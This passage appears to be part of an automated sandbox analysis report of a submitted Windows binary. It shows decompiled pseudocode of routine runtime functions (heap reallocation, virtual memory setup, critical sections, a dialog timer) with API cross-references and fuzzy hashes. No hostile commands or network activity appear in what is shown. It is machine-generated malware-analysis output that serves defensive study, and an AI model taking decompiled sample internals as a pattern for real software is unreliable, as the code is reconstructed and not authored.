						_t16 = _t79 + 0x422b08; // 0x422b08
						_t51 = _t16;
						do {
							__eflags =  *_t51;
							_t57 = _t51;
							if( *_t51 != 0) {
								while(1) {
									_t17 =  &(_t57[1]); // 0xdf
									_t66 =  *_t17;
									__eflags = _t66;
									if(_t66 == 0) {
										goto L21;
									}
									_t41 =  *_t57 & 0x000000ff;
									_t74 = _t66 & 0x000000ff;
									__eflags = _t41 - _t74;
									if(_t41 <= _t74) {
										_t19 = _v8 + 0x422af0; // 0x8040201
										_t68 =  *_t19;
										do {
											 *(_t41 + 0x4257e1) =  *(_t41 + 0x4257e1) | _t68;
											_t41 = _t41 + 1;
											__eflags = _t41 - _t74;
										} while (_t41 <= _t74);
									}
									_t57 =  &(_t57[2]);
									__eflags =  *_t57;
									if( *_t57 != 0) {
										continue;
									}
									goto L21;
								}
							}
							L21:
							_v8 = _v8 + 1;
							_t51 =  &(_t51[8]);
							__eflags = _v8 - 4;
						} while (_v8 < 4);
						 *0x4256dc = 1;
						 *0x4256c8 = _a4;
						_t40 = E00418031(_a4);
						_t71 = 0x4256d0;
						asm("movsd");
						asm("movsd");
						 *0x4258e4 = _t40;
						asm("movsd");
					}
					goto L31;
				} else {
					L1:
					_t77 = 0;
				}
				L33:
				E0041576B(0x19);
				return _t77;
			}

0x00417e45
0x00417e52
0x00417e55
0x00417e5c
0x00417e5f
0x00417e68
0x00417e6a
0x00417fc6
0x00417fc6
0x00417e70
0x00417e70
0x00417e70
0x00417e72
0x00417e77
0x00417e77
0x00417e79
0x00000000
0x00000000
0x00417e7b
0x00417e7e
0x00417e7f
0x00417e84
0x00000000
0x00417e86
0x00417e8b
0x00417e93
0x00417e94
0x00417e96
0x00417fbd
0x00417fc4
0x00417fd5
0x00417fd5
0x00000000
0x00000000
0x00000000
0x00417e9c
0x00417e9e
0x00417ea5
0x00417ead
0x00417eb0
0x00417eb2
0x00417eb3
0x00417eb9
0x00417faa
0x00417faa
0x00417ebf
0x00417ebf
0x00417ec3
0x00417ec9
0x00417ecc
0x00417ecc
0x00417ece
0x00417ed0
0x00000000
0x00000000
0x00417ed6
0x00417eda
0x00417edd
0x00417edd
0x00417edf
0x00000000
0x00000000
0x00417ee5
0x00417eec
0x00417eec
0x00417f7a
0x00417f7b
0x00417f7f
0x00000000
0x00000000
0x00000000
0x00417f7f
0x00417ecc
0x00417f85
0x00417f85
0x00417f87
0x00417f87
0x00417f8e
0x00417f8f
0x00417f8f
0x00417f9d
0x00417fa2
0x00417fa2
0x00417fb3
0x00417fb8
0x00417fb9
0x00417fba
0x00417fcb
0x00417fcb
0x00000000
0x00417fcb
0x00417e96
0x00000000
0x00417e84
0x00417eef
0x00417ef5
0x00417f00
0x00417f02
0x00417f02
0x00417f05
0x00417f06
0x00417f06
0x00417f0c
0x00417f0c
0x00417f0f
0x00417f11
0x00417f13
0x00417f13
0x00417f13
0x00417f16
0x00417f18
0x00000000
0x00000000
0x00417f1a
0x00417f1d
0x00417f20
0x00417f22
0x00417f27
0x00417f27
0x00417f2d
0x00417f2d
0x00417f33
0x00417f34
0x00417f34
0x00417f2d
0x00417f39
0x00417f3a
0x00417f3d
0x00000000
0x00000000
0x00000000
0x00417f3d
0x00417f13
0x00417f3f
0x00417f3f
0x00417f42
0x00417f45
0x00417f45
0x00417f4e
0x00417f59
0x00417f5e
0x00417f69
0x00417f6e
0x00417f6f
0x00417f71
0x00417f76
0x00417f76
0x00000000
0x00417e61
0x00417e61
0x00417e61
0x00417e61
0x00417fd8
0x00417fda
0x00417fe6

APIs

Part of subcall function 0041570A: InitializeCriticalSection.KERNEL32(00000000,00000000,?,?,00416FB2,00000009,00000000,00000000,00000001,00415548,00000001,00000074,?,?,00000000,00000001), ref: 00415747
Part of subcall function 0041570A: EnterCriticalSection.KERNEL32(?,?,?,00416FB2,00000009,00000000,00000000,00000001,00415548,00000001,00000074,?,?,00000000,00000001), ref: 00415762

GetCPInfo.KERNEL32(00000000,?,?,00000000,00000000,?,?,00414BA4), ref: 00417E8B

Part of subcall function 0041576B: LeaveCriticalSection.KERNEL32(?,00413F70,00000009,00413F5C,00000000,?,00000000,00000000,00000000), ref: 00415778

Strings

WB, xrefs: 00417EA8
+B, xrefs: 00417E7F
WB, xrefs: 00417EF8

Memory Dump Source

Source File: 00000000.00000002.491152909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.491135742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491212511.000000000041B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491315115.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491346410.0000000000422000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491363516.0000000000423000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491391269.0000000000427000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CriticalSection$EnterInfoInitializeLeave
String ID: +B$WB$WB
API String ID: 1866836854-4076192905
Opcode ID: ee95e9d0b24a19a0cc788d9683df54c17a7a80f6c3da06404699baeb333cbe61
Instruction ID: 91cfe2518806d3d9ee68befd2fe7c4d9c34af4d87c59522c175cbc6726151178
Opcode Fuzzy Hash: ee95e9d0b24a19a0cc788d9683df54c17a7a80f6c3da06404699baeb333cbe61
Instruction Fuzzy Hash: FC41243164C654AEE720DB24D8853EB7BF1AB05314FB4406BE5488B291CABD49C7C74C

Uniqueness

Uniqueness Score: -1.00%

Function 0041458F Relevance: 6.5, APIs: 5, Instructions: 278
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E0041458F(void* _a4, long _a8) {
				signed int _v8;
				intOrPtr _v20;
				long _v36;
				void* _v40;
				intOrPtr _v44;
				char _v48;
				long _v52;
				long _v56;
				char _v60;
				intOrPtr _t56;
				void* _t57;
				long _t58;
				long _t59;
				long _t63;
				long _t66;
				long _t68;
				long _t71;
				long _t72;
				long _t74;
				long _t78;
				intOrPtr _t80;
				void* _t83;
				long _t85;
				long _t88;
				void* _t89;
				long _t91;
				intOrPtr _t93;
				void* _t97;
				void* _t104;
				long _t113;
				long _t116;
				intOrPtr _t122;
				void* _t123;

				_push(0xffffffff);
				_push(0x41b9b8);
				_push(E00414A2C);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t122;
				_t123 = _t122 - 0x28;
				_t97 = _a4;
				_t113 = 0;
				if(_t97 != 0) {
					_t116 = _a8;
					__eflags = _t116;
					if(_t116 != 0) {
						_t56 =  *0x425a38; // 0x1
						__eflags = _t56 - 3;
						if(_t56 != 3) {
							__eflags = _t56 - 2;
							if(_t56 != 2) {
								while(1) {
									_t57 = 0;
									__eflags = _t116 - 0xffffffe0;
									if(_t116 <= 0xffffffe0) {
										__eflags = _t116 - _t113;
										if(_t116 == _t113) {
											_t116 = 1;
										}
										_t116 = _t116 + 0x0000000f & 0xfffffff0;
										__eflags = _t116;
										_t57 = HeapReAlloc( *0x425a34, _t113, _t97, _t116);
									}
									__eflags = _t57 - _t113;
									if(_t57 != _t113) {
										goto L64;
									}
									__eflags =  *0x4233b4 - _t113; // 0x0
									if(__eflags == 0) {
										goto L64;
									}
									_t58 = E00415868(_t116);
									__eflags = _t58;
									if(_t58 != 0) {
										continue;
									}
									goto L63;
								}
								goto L64;
							}
							__eflags = _t116 - 0xffffffe0;
							if(_t116 <= 0xffffffe0) {
								__eflags = _t116;
								if(_t116 <= 0) {
									_t116 = 0x10;
								} else {
									_t116 = _t116 + 0x0000000f & 0xfffffff0;
								}
								_a8 = _t116;
							}
							while(1) {
								_v40 = _t113;
								__eflags = _t116 - 0xffffffe0;
								if(_t116 <= 0xffffffe0) {
									E0041570A(9);
									_pop(_t104);
									_v8 = 1;
									_t63 = E004167F8(_t97,  &_v60,  &_v48);
									_t123 = _t123 + 0xc;
									_t113 = _t63;
									_v52 = _t113;
									__eflags = _t113;
									if(_t113 == 0) {
										_v40 = HeapReAlloc( *0x425a34, 0, _t97, _t116);
									} else {
										__eflags = _t116 -  *0x42283c; // 0x1e0
										if(__eflags < 0) {
											_t100 = _t116 >> 4;
											_t71 = E00416BC0(_t104, _v60, _v48, _t113, _t116 >> 4);
											_t123 = _t123 + 0x10;
											__eflags = _t71;
											if(_t71 == 0) {
												_t72 = E00416894(_t104, _t100);
												_v40 = _t72;
												__eflags = _t72;
												if(_t72 != 0) {
													_t74 = ( *_t113 & 0x000000ff) << 4;
													_v56 = _t74;
													__eflags = _t74 - _t116;
													if(_t74 >= _t116) {
														_t74 = _t116;
													}
													E00414090(_v40, _a4, _t74);
													E0041684F(_v60, _v48, _t113);
													_t123 = _t123 + 0x18;
												}
											} else {
												_v40 = _a4;
											}
											_t97 = _a4;
										}
										__eflags = _v40;
										if(_v40 == 0) {
											_t66 = HeapAlloc( *0x425a34, 0, _t116);
											_v40 = _t66;
											__eflags = _t66;
											if(_t66 != 0) {
												_t68 = ( *_t113 & 0x000000ff) << 4;
												_v56 = _t68;
												__eflags = _t68 - _t116;
												if(_t68 >= _t116) {
													_t68 = _t116;
												}
												E00414090(_v40, _t97, _t68);
												E0041684F(_v60, _v48, _t113);
												_t123 = _t123 + 0x18;
											}
										}
									}
									_t51 =  &_v8;
									 *_t51 = _v8 | 0xffffffff;
									__eflags =  *_t51;
									E00414868();
								}
								_t57 = _v40;
								__eflags = _t57 - _t113;
								if(_t57 != _t113) {
									goto L64;
								}
								__eflags =  *0x4233b4 - _t113; // 0x0
								if(__eflags == 0) {
									goto L64;
								}
								_t59 = E00415868(_t116);
								__eflags = _t59;
								if(_t59 != 0) {
									continue;
								}
								goto L63;
							}
							goto L64;
						} else {
							goto L5;
						}
						do {
							L5:
							_v40 = _t113;
							__eflags = _t116 - 0xffffffe0;
							if(_t116 > 0xffffffe0) {
								L25:
								_t57 = _v40;
								__eflags = _t57 - _t113;
								if(_t57 != _t113) {
									goto L64;
								}
								__eflags =  *0x4233b4 - _t113; // 0x0
								if(__eflags == 0) {
									goto L64;
								}
								goto L27;
							}
							E0041570A(9);
							_v8 = _t113;
							_t80 = E00415A9D(_t97);
							_v44 = _t80;
							__eflags = _t80 - _t113;
							if(_t80 == _t113) {
								L21:
								_v8 = _v8 | 0xffffffff;
								E0041471A();
								__eflags = _v44 - _t113;
								if(_v44 == _t113) {
									__eflags = _t116 - _t113;
									if(_t116 == _t113) {
										_t116 = 1;
									}
									_t116 = _t116 + 0x0000000f & 0xfffffff0;
									__eflags = _t116;
									_a8 = _t116;
									_v40 = HeapReAlloc( *0x425a34, _t113, _t97, _t116);
								}
								goto L25;
							}
							__eflags = _t116 -  *0x425a30; // 0x0
							if(__eflags <= 0) {
								_push(_t116);
								_push(_t97);
								_push(_t80);
								_t88 = E004162A6();
								_t123 = _t123 + 0xc;
								__eflags = _t88;
								if(_t88 == 0) {
									_push(_t116);
									_t89 = E00415DF1();
									_v40 = _t89;
									__eflags = _t89 - _t113;
									if(_t89 != _t113) {
										_t91 =  *((intOrPtr*)(_t97 - 4)) - 1;
										_v36 = _t91;
										__eflags = _t91 - _t116;
										if(_t91 >= _t116) {
											_t91 = _t116;
										}
										E00414090(_v40, _t97, _t91);
										_t93 = E00415A9D(_t97);
										_v44 = _t93;
										_push(_t97);
										_push(_t93);
										E00415AC8();
										_t123 = _t123 + 0x18;
									}
								} else {
									_v40 = _t97;
								}
							}
							__eflags = _v40 - _t113;
							if(_v40 == _t113) {
								__eflags = _t116 - _t113;
								if(_t116 == _t113) {
									_t116 = 1;
									_a8 = _t116;
								}
								_t116 = _t116 + 0x0000000f & 0xfffffff0;
								_a8 = _t116;
								_t83 = HeapAlloc( *0x425a34, _t113, _t116);
								_v40 = _t83;
								__eflags = _t83 - _t113;
								if(_t83 != _t113) {
									_t85 =  *((intOrPtr*)(_t97 - 4)) - 1;
									_v36 = _t85;
									__eflags = _t85 - _t116;
									if(_t85 >= _t116) {
										_t85 = _t116;
									}
									E00414090(_v40, _t97, _t85);
									_push(_t97);
									_push(_v44);
									E00415AC8();
									_t123 = _t123 + 0x14;
								}
							}
							goto L21;
							L27:
							_t78 = E00415868(_t116);
							__eflags = _t78;
						} while (_t78 != 0);
						goto L63;
					} else {
						E00413F9F(_t97);
						L63:
						_t57 = 0;
						__eflags = 0;
						goto L64;
					}
				} else {
					_t57 = E00413E65(_a8);
					L64:
					 *[fs:0x0] = _v20;
					return _t57;
				}
			}

0x00414592
0x00414594
0x00414599
0x004145a4
0x004145a5
0x004145ac
0x004145b2
0x004145b5
0x004145b9
0x004145c9
0x004145cc
0x004145ce
0x004145dc
0x004145e1
0x004145e4
0x00414723
0x00414726
0x00414873
0x00414873
0x00414875
0x00414878
0x0041487a
0x0041487c
0x00414880
0x00414880
0x00414884
0x00414884
0x00414890
0x00414890
0x00414896
0x00414898
0x00000000
0x00000000
0x0041489a
0x004148a0
0x00000000
0x00000000
0x004148a3
0x004148a9
0x004148ab
0x00000000
0x00000000
0x00000000
0x004148ab
0x00000000
0x00414873
0x0041472c
0x0041472f
0x00414731
0x00414733
0x0041473f
0x00414735
0x00414738
0x00414738
0x00414740
0x00414740
0x00414743
0x00414743
0x00414746
0x00414749
0x00414751
0x00414756
0x00414757
0x00414767
0x0041476c
0x0041476f
0x00414771
0x00414774
0x00414776
0x00414836
0x0041477c
0x0041477c
0x00414782
0x00414786
0x00414791
0x00414796
0x00414799
0x0041479b
0x004147a6
0x004147ac
0x004147af
0x004147b1
0x004147b6
0x004147b9
0x004147bc
0x004147be
0x004147c0
0x004147c0
0x004147c9
0x004147d5
0x004147da
0x004147da
0x0041479d
0x004147a0
0x004147a0
0x004147dd
0x004147dd
0x004147e0
0x004147e4
0x004147ef
0x004147f5
0x004147f8
0x004147fa
0x004147ff
0x00414802
0x00414805
0x00414807
0x00414809
0x00414809
0x00414810
0x0041481c
0x00414821
0x00414821
0x004147fa
0x004147e4
0x00414839
0x00414839
0x00414839
0x0041483d
0x0041483d
0x00414842
0x00414845
0x00414847
0x00000000
0x00000000
0x00414849
0x0041484f
0x00000000
0x00000000
0x00414852
0x00414858
0x0041485a
0x00000000
0x00000000
0x00000000
0x00414860
0x00000000
0x00000000
0x00000000
0x00000000
0x004145ea
0x004145ea
0x004145ea
0x004145ed
0x004145f0
0x004146e7
0x004146e7
0x004146ea
0x004146ec
0x00000000
0x00000000
0x004146f2
0x004146f8
0x00000000
0x00000000
0x00000000
0x004146f8
0x004145f8
0x004145fe
0x00414602
0x00414608
0x0041460b
0x0041460d
0x004146b7
0x004146b7
0x004146bb
0x004146c0
0x004146c3
0x004146c5
0x004146c7
0x004146cb
0x004146cb
0x004146cf
0x004146cf
0x004146d2
0x004146e4
0x004146e4
0x00000000
0x004146c3
0x00414613
0x00414619
0x0041461b
0x0041461c
0x0041461d
0x0041461e
0x00414623
0x00414626
0x00414628
0x0041462f
0x00414630
0x00414636
0x00414639
0x0041463b
0x00414640
0x00414641
0x00414644
0x00414646
0x00414648
0x00414648
0x0041464f
0x00414655
0x0041465a
0x0041465d
0x0041465e
0x0041465f
0x00414664
0x00414664
0x0041462a
0x0041462a
0x0041462a
0x00414628
0x00414667
0x0041466a
0x0041466c
0x0041466e
0x00414672
0x00414673
0x00414673
0x00414679
0x0041467c
0x00414687
0x0041468d
0x00414690
0x00414692
0x00414697
0x00414698
0x0041469b
0x0041469d
0x0041469f
0x0041469f
0x004146a6
0x004146ab
0x004146ac
0x004146af
0x004146b4
0x004146b4
0x00414692
0x00000000
0x004146fe
0x004146ff
0x00414705
0x00414705
0x00000000
0x004145d0
0x004145d1
0x004148ad
0x004148ad
0x004148ad
0x00000000
0x004148ad
0x004145bb
0x004145be
0x004148af
0x004148b2
0x004148bd
0x004148bd

Memory Dump Source

Source File: 00000000.00000002.491152909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.491135742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491212511.000000000041B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491315115.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491346410.0000000000422000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491363516.0000000000423000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491391269.0000000000427000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 97048a31ed7e8673145bc5a0b9288faae4c75299d979c6b38067687c3c285a89
Instruction ID: b0a20c71c01645f6642c62949d543ab21d76ee58160ce25a59b39075e73dd19d
Opcode Fuzzy Hash: 97048a31ed7e8673145bc5a0b9288faae4c75299d979c6b38067687c3c285a89
Instruction Fuzzy Hash: 4691E671D01514ABCB21AB69DC85ADEBBB4EFC5764F240227F818B62D0D7398DC1CA6C

Uniqueness

Uniqueness Score: -1.00%

Function 0041659C Relevance: 6.4, APIs: 5, Instructions: 102
memoryCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E0041659C() {
				void* _t25;
				intOrPtr* _t28;
				void* _t42;
				void* _t43;
				void* _t45;
				void* _t55;

				if( *0x420828 != 0xffffffff) {
					_t43 = HeapAlloc( *0x425a34, 0, 0x2020);
					if(_t43 == 0) {
						goto L20;
					}
					goto L3;
				} else {
					_t43 = 0x420818;
					L3:
					_t42 = VirtualAlloc(0, 0x400000, 0x2000, 4);
					if(_t42 == 0) {
						L18:
						if(_t43 != 0x420818) {
							HeapFree( *0x425a34, 0, _t43);
						}
						L20:
						return 0;
					}
					if(VirtualAlloc(_t42, 0x10000, 0x1000, 4) == 0) {
						VirtualFree(_t42, 0, 0x8000);
						goto L18;
					}
					if(_t43 != 0x420818) {
						 *_t43 = 0x420818;
						_t25 =  *0x42081c; // 0x420818
						 *(_t43 + 4) = _t25;
						 *0x42081c = _t43;
						 *( *(_t43 + 4)) = _t43;
					} else {
						if( *0x420818 == 0) {
							 *0x420818 = 0x420818;
						}
						if( *0x42081c == 0) {
							 *0x42081c = 0x420818;
						}
					}
					_t3 = _t42 + 0x400000; // 0x400000
					_t4 = _t43 + 0x98; // 0x98
					 *((intOrPtr*)(_t43 + 0x14)) = _t3;
					_t6 = _t43 + 0x18; // 0x18
					_t28 = _t6;
					 *((intOrPtr*)(_t43 + 0xc)) = _t4;
					 *(_t43 + 0x10) = _t42;
					 *((intOrPtr*)(_t43 + 8)) = _t28;
					_t45 = 0;
					do {
						_t55 = _t45 - 0x10;
						_t45 = _t45 + 1;
						 *_t28 = ((0 | _t55 >= 0x00000000) - 0x00000001 & 0x000000f1) - 1;
						 *((intOrPtr*)(_t28 + 4)) = 0xf1;
						_t28 = _t28 + 8;
					} while (_t45 < 0x400);
					E00417DA0(_t42, 0, 0x10000);
					while(_t42 <  *(_t43 + 0x10) + 0x10000) {
						 *(_t42 + 0xf8) =  *(_t42 + 0xf8) | 0x000000ff;
						_t16 = _t42 + 8; // -4088
						 *_t42 = _t16;
						 *((intOrPtr*)(_t42 + 4)) = 0xf0;
						_t42 = _t42 + 0x1000;
					}
					return _t43;
				}
			}

0x004165a7
0x004165c3
0x004165c7
0x00000000
0x00000000
0x00000000
0x004165a9
0x004165a9
0x004165cd
0x004165e3
0x004165e7
0x004166c2
0x004166c8
0x004166d3
0x004166d3
0x004166d9
0x00000000
0x004166d9
0x004165ff
0x004166bc
0x00000000
0x004166bc
0x0041660c
0x0041662c
0x0041662e
0x00416633
0x00416636
0x0041663f
0x0041660e
0x00416615
0x00416617
0x00416617
0x00416623
0x00416625
0x00416625
0x00416623
0x00416641
0x00416647
0x0041664d
0x00416650
0x00416650
0x00416653
0x00416656
0x00416659
0x0041665c
0x00416663
0x00416665
0x0041666f
0x00416670
0x00416672
0x00416675
0x00416678
0x00416684
0x0041668c
0x00416695
0x0041669c
0x0041669f
0x004166a1
0x004166a8
0x004166a8
0x00000000
0x004166b0

APIs

HeapAlloc.KERNEL32(00000000,00002020,00420818,00420818,?,?,00416A68,00000000,00000010,00000000,00000009,00000009,?,00413F4F,00000010,00000000), ref: 004165BD
VirtualAlloc.KERNEL32(00000000,00400000,00002000,00000004,?,?,00416A68,00000000,00000010,00000000,00000009,00000009,?,00413F4F,00000010,00000000), ref: 004165E1
VirtualAlloc.KERNEL32(00000000,00010000,00001000,00000004,?,?,00416A68,00000000,00000010,00000000,00000009,00000009,?,00413F4F,00000010,00000000), ref: 004165FB
VirtualFree.KERNEL32(00000000,00000000,00008000,?,?,00416A68,00000000,00000010,00000000,00000009,00000009,?,00413F4F,00000010,00000000,?), ref: 004166BC
HeapFree.KERNEL32(00000000,00000000,?,?,00416A68,00000000,00000010,00000000,00000009,00000009,?,00413F4F,00000010,00000000,?,00000000), ref: 004166D3

Memory Dump Source

Source File: 00000000.00000002.491152909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.491135742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491212511.000000000041B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491315115.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491346410.0000000000422000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491363516.0000000000423000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491391269.0000000000427000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: AllocVirtual$FreeHeap
String ID:
API String ID: 714016831-0
Opcode ID: 3cebd7198669312bdcb80342c8511f4e4e3300f6cdfd7be81cbf94ce20f50e4e
Instruction ID: 0af9858cac0a30669fb94f5f64461d90f8de944a7195c69e4f59e8ed45fdce2d
Opcode Fuzzy Hash: 3cebd7198669312bdcb80342c8511f4e4e3300f6cdfd7be81cbf94ce20f50e4e
Instruction Fuzzy Hash: 983101B0700705EBD3309F24EC45BA2BBE4EB44794F12823AE55597791E778E8818BCC

Uniqueness

Uniqueness Score: -1.00%

Function 00409787 Relevance: 6.1, APIs: 4, Instructions: 98
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E00409787(void* __ecx, void* __edx) {
				signed int _t48;
				intOrPtr* _t54;
				signed int _t60;
				intOrPtr _t61;
				void* _t76;
				struct _CRITICAL_SECTION* _t80;
				signed int _t81;
				void* _t84;
				void* _t86;

				_t76 = __edx;
				E00413954(E00419CC0, _t86);
				_t84 = __ecx;
				_t80 = __ecx + 0x40;
				if(E004095DD(_t80) == 0) {
					E0040998D(__ecx);
					EnterCriticalSection(_t80);
					_t60 =  *(_t80 + 0x20);
					 *(_t86 - 0x10) =  *(_t80 + 0x24);
					 *((intOrPtr*)(_t86 - 0x20)) =  *((intOrPtr*)(_t80 + 0x28));
					 *((intOrPtr*)(_t86 - 0x1c)) =  *((intOrPtr*)(_t80 + 0x2c));
					LeaveCriticalSection(_t80);
					if(_t60 !=  *((intOrPtr*)(_t84 + 0x28)) ||  *(_t86 - 0x10) !=  *((intOrPtr*)(_t84 + 0x2c))) {
						E0040969B(_t84, _t60,  *(_t86 - 0x10));
					}
					E0040970E(_t84,  *((intOrPtr*)(_t86 - 0x20)),  *((intOrPtr*)(_t86 - 0x1c)));
					_t81 = 0;
					if((_t60 |  *(_t86 - 0x10)) == 0) {
						 *(_t86 - 0x10) = _t81;
						_t60 = 1;
					}
					_t61 = E00413D80(E00414490( *((intOrPtr*)(_t86 - 0x20)),  *((intOrPtr*)(_t86 - 0x1c)), 0x64, _t81), _t76, _t60,  *(_t86 - 0x10));
					if(_t61 !=  *((intOrPtr*)(_t84 + 0x34))) {
						asm("cdq");
						E00403A0B(_t86 - 0xa4, _t76, _t47, _t76);
						E00401C80(_t86 - 0x18, _t86 - 0xa4);
						 *(_t86 - 4) = _t81;
						E00407D25(_t86 - 0x18, _t76, L"% ");
						_push(_t84 + 0xc);
						_t54 = E00402634(_t86 - 0x24, _t86 - 0x18);
						 *(_t86 - 4) = 1;
						E00406049( *((intOrPtr*)(_t84 + 4)),  *_t54);
						E00403A9C( *((intOrPtr*)(_t86 - 0x24)));
						 *((intOrPtr*)(_t84 + 0x34)) = _t61;
						E00403A9C( *((intOrPtr*)(_t86 - 0x18)));
					}
					_t48 = 1;
				} else {
					_t48 = 1;
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t86 - 0xc));
				return _t48;
			}

0x00409787
0x0040978c
0x00409798
0x0040979b
0x004097a7
0x004097b3
0x004097b9
0x004097c2
0x004097c5
0x004097cb
0x004097d2
0x004097d5
0x004097de
0x004097ee
0x004097ee
0x004097fb
0x00409807
0x00409808
0x0040980c
0x0040980f
0x0040980f
0x00409829
0x0040982e
0x00409830
0x00409839
0x00409848
0x00409855
0x00409858
0x00409863
0x00409867
0x00409871
0x00409875
0x0040987d
0x00409885
0x00409888
0x0040988e
0x0040988f
0x004097a9
0x004097a9
0x004097a9
0x00409897
0x0040989f

APIs

__EH_prolog.LIBCMT ref: 0040978C

Part of subcall function 004095DD: EnterCriticalSection.KERNEL32(?,?,?,00409903), ref: 004095E2
Part of subcall function 004095DD: LeaveCriticalSection.KERNEL32(?,?,?,00409903), ref: 004095EC

EnterCriticalSection.KERNEL32(?), ref: 004097B9
LeaveCriticalSection.KERNEL32(?), ref: 004097D5
__aulldiv.LIBCMT ref: 00409824

Memory Dump Source

Source File: 00000000.00000002.491152909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.491135742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491212511.000000000041B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491315115.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491346410.0000000000422000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491363516.0000000000423000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491391269.0000000000427000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$H_prolog__aulldiv
String ID:
API String ID: 3848147900-0
Opcode ID: 985cff57d02d2bbd00f179e979cdbab89758c627aa779ce2aa11222f2ed784f0
Instruction ID: 0a470d0c852558693c62499fef9fcf54cb9603282822d0262474d13d459b1607
Opcode Fuzzy Hash: 985cff57d02d2bbd00f179e979cdbab89758c627aa779ce2aa11222f2ed784f0
Instruction Fuzzy Hash: D2316076A00219AFCB10EFA1C881AEFBBB5FF48314F00442EE10573692CB79AD45CB64

Uniqueness

Uniqueness Score: -1.00%

Function 004095F7 Relevance: 6.0, APIs: 4, Instructions: 37
windowtimeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004095F7(void* __ecx) {
				void* _t32;

				_t32 = __ecx;
				 *(__ecx + 0x28) =  *(__ecx + 0x28) | 0xffffffff;
				 *(__ecx + 0x2c) =  *(__ecx + 0x2c) | 0xffffffff;
				 *(__ecx + 0x34) =  *(__ecx + 0x34) | 0xffffffff;
				 *((char*)(__ecx + 0x38)) = 1;
				E00413260(__ecx + 0x3c);
				 *((intOrPtr*)(_t32 + 0x30)) = GetDlgItem( *(__ecx + 4), 0x3e8);
				if( *(_t32 + 0x70) >= 0) {
					SendMessageA( *(_t32 + 4), 0x80, 1, LoadIconA( *0x423144,  *(_t32 + 0x70) & 0x0000ffff));
				}
				 *((intOrPtr*)(_t32 + 8)) = SetTimer( *(_t32 + 4), 3, 0x64, 0);
				E00406049( *(_t32 + 4),  *((intOrPtr*)(_t32 + 0xc)));
				E0040998D(_t32);
				return 1;
			}

0x004095f8
0x004095fa
0x004095fe
0x00409602
0x00409609
0x0040960d
0x00409624
0x00409627
0x00409645
0x00409645
0x00409660
0x00409663
0x0040966a
0x00409672

APIs

Part of subcall function 00413260: SetEvent.KERNEL32(00000000,00407649), ref: 00413263

GetDlgItem.USER32 ref: 0040961A
LoadIconA.USER32(00000000), ref: 00409634
SendMessageA.USER32(?,00000080,00000001,00000000), ref: 00409645
SetTimer.USER32(?,00000003,00000064,00000000), ref: 00409654

Memory Dump Source

Source File: 00000000.00000002.491152909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.491135742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491212511.000000000041B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491315115.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491346410.0000000000422000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491363516.0000000000423000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491391269.0000000000427000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: EventIconItemLoadMessageSendTimer
String ID:
API String ID: 2758541657-0
Opcode ID: a2a1fe83cc9e0c6555ab30a5ba5d34d7e9637e7b1c96707fcad98147a719e390
Instruction ID: 551790b6ae67963d7c94afa5d69916b6b09ae611f895d6b9f891aac7cfc7161a
